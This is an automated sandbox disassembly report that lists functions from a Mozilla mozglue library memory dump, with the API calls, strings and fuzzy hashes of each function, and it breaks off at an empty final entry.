Opcode ID: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction ID: 1f048b8e297d4584bead40d8e529396be2c55c97babd6f4513f76065092be8d0
Opcode Fuzzy Hash: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction Fuzzy Hash: F001D470A04101CBE700DBADDC19A5E33B5AB4A32DF460A37ED0B86F51E761E864899F

Function 6C520F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C520F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C520F88
GetCurrentThreadId.KERNEL32 ref: 6C520FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C521067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C52114B

Part of subcall function 6C518AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C531563), ref: 6C518BD5

free.MOZGLUE(?), ref: 6C521174
free.MOZGLUE(?), ref: 6C521186

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction ID: 1ee12da314afcc678db07f88ae9bd056a9d4ad0b99b708fb6127eed362170356
Opcode Fuzzy Hash: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction Fuzzy Hash: C4619975A043409BDB10DF24CC80BABB7F6BFC9318F05891DE88957691EB75E849CB82

Function 6C4DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6AC

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4DB61E), ref: 6C4DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB79A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction ID: b8ba31d479dfa37159fbea0e31962d52bd514a2a4767d916ef85a0a841be9043
Opcode Fuzzy Hash: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction Fuzzy Hash: 8441B3B2D001159FCB04EF68DC90EAEB7B5BF84324F264669E825E7780E731AD0587E1

Function 6C4DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C555104), ref: 6C4DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DEFEC
free.MOZGLUE(?), ref: 6C4DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4DF065
moz_xmalloc.MOZGLUE ref: 6C4DF072

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction ID: 8c2c78ee163ce345aeb9a9382c8cdf6224992bad22d44fd63978911aee6e8b1c
Opcode Fuzzy Hash: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction Fuzzy Hash: D041F6B1A002059FDB18DF68DC90DAE7769BF88318B25422CE815DB794EB31E905C7E1

Function 6C54B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C54B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C54B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C54B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C54B5F4
__Init_thread_footer.LIBCMT ref: 6C54B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C54B61F
std::_Facet_Register.LIBCPMT ref: 6C54B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54B655

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction ID: 6bb4df23af8f54ea8cf92ffafdd07cc5e273403050cbfb2a950d692f924c1407
Opcode Fuzzy Hash: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction Fuzzy Hash: 60318F71B00204CBCF00EF69CC989AEB7B5FF8A324B964519D90697781DB31A906CB95

Function 6C516590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5167C8

Part of subcall function 6C524290: memcpy.VCRUNTIME140(?,?,6C532003,6C530AD9,?,6C530AD9,00000000,?,6C530AD9,?,00000004,?,6C531A62,?,6C532003,?), ref: 6C5242C4

Strings

data, xrefs: 6C516593
vUl, xrefs: 6C51696C

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vUl
API String ID: 511789754-3511496017
Opcode ID: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction ID: 1aa911cf9f449c6251d9080a358008f546be6580e3ac84a90826315a0d3c4f27
Opcode Fuzzy Hash: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction Fuzzy Hash: 5BD19E75A083408BD724DF25CC55B9EBBE5EFC5308F50892ED58987B91EB30A849CB92

Function 6C50D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4DEB57,?,?,?,?,?,?,?,?,?), ref: 6C50D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4DEB57,?), ref: 6C50D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4DEB57,?), ref: 6C50D673
free.MOZGLUE(?), ref: 6C50D888

Strings

WMl, xrefs: 6C50D5D9, 6C50D63F
|Enabled, xrefs: 6C50D81E

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WMl$|Enabled
API String ID: 4142949111-27182069
Opcode ID: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction ID: 6b77c40a96e019b1baa90a57332318e1965589b368983649f8042ab0972dc88f
Opcode Fuzzy Hash: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction Fuzzy Hash: 9AA1E2B0B003058FDB11CF69CC90BAEBBF1AF49318F58855CD899AB742D735A945CBA1

Function 6C4EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE), ref: 6C4EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB896

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction ID: 98c30d6e9b0eb1191556452bb368863457d3b27bef8a89c100187807ffe18f21
Opcode Fuzzy Hash: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction Fuzzy Hash: 1A516A357006048FCB15DF59C888E3AB7F5FF8D31AB5A8559E98A87751C730E802CB88

Function 6C521D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C521D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D4C
GetCurrentThreadId.KERNEL32 ref: 6C521DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C521DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C521DDA

Part of subcall function 6C521EF0: GetCurrentThreadId.KERNEL32 ref: 6C521F03
Part of subcall function 6C521EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C521DF2,00000000,00000000), ref: 6C521F0C
Part of subcall function 6C521EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C521F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C521DF4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction ID: 67f9729a0c717aecc77407e37afc9ad5a1c7021f2f71dde8b5abc7677540f3d5
Opcode Fuzzy Hash: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction Fuzzy Hash: A04166B5200700DFCB10DF29C888A56BBF9FB89324F51442EE99A87B81DB75F854CB95

Function 6C5184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185AC

Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51767F
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C517693
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185B2

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction ID: 26680e453d8c64d81b35c69b426c39f1c8ef96ad4c004d80c5ff37e6f3bef7e5
Opcode Fuzzy Hash: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction Fuzzy Hash: EC216D742056019BEB24DF29CC88A5A77B5EF8430CF164829E55B83F42EB31F948CB56

Function 6C4E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E1699
VerSetConditionMask.NTDLL ref: 6C4E16CB
VerSetConditionMask.NTDLL ref: 6C4E16D7
VerSetConditionMask.NTDLL ref: 6C4E16DE
VerSetConditionMask.NTDLL ref: 6C4E16E5
VerSetConditionMask.NTDLL ref: 6C4E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E16F9

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction ID: b102370272a60fdb7ddf50535139f1f58e7c24a438c8255c1155fc4aa3c94ab3
Opcode Fuzzy Hash: f5e20ac4df8c5ef7320001e4d3130bf8f47c8954466bbd478c05012434b97522
Instruction Fuzzy Hash: F621D5B07402086FEB11AB648C85FBB73BCEFC6704F414528F6459B181C678AD548AA1

Function 6C51F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction ID: 671ed7e3cd39fdc4488d6dc10d7ea607c067fb2f3cbdbd2bc388f8c84fdc9897
Opcode Fuzzy Hash: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction Fuzzy Hash: 0511E335305204EBDB04AF19DC4C9A5B7B9FFC636CB950116EA0583F42CB72AC21CBA4

Function 6C4E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4E1C5F), ref: 6C4E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4E20CD
__Init_thread_footer.LIBCMT ref: 6C4E20E1
FreeLibrary.KERNEL32 ref: 6C4E2124

Strings

CoInitializeSecurity, xrefs: 6C4E20C7
combase.dll, xrefs: 6C4E20A9

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction ID: 724b7dcfe417fddd0408b3a881c7a3e8ff2e37171c7e054a0abc05ff653d243c
Opcode Fuzzy Hash: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction Fuzzy Hash: 3421BB3620020AEFDF20DF58EC4CD9A3B76FB4A326F524215FA0492691DB319861CFA4

Function 6C5376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C537705

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C537717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C53778F,00000000,00000000,00000000,00000000), ref: 6C537731
free.MOZGLUE(00000000), ref: 6C537760

Strings

}>Ql, xrefs: 6C5376C4

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ql
API String ID: 2538299546-1900031649
Opcode ID: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction ID: 7cd4cb3be489ca738c33d0f4a790c6aced969121796f8d091fd407002e45737d
Opcode Fuzzy Hash: 83f767da9bb20691958f0ebd8e91ae91aec32de17eb14697e31e230d531d6c7e
Instruction Fuzzy Hash: A911B6B1D04325ABEB10AF759D44B6B7FE8EF45354F044529F84897300F771985487E2

Function 6C4E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

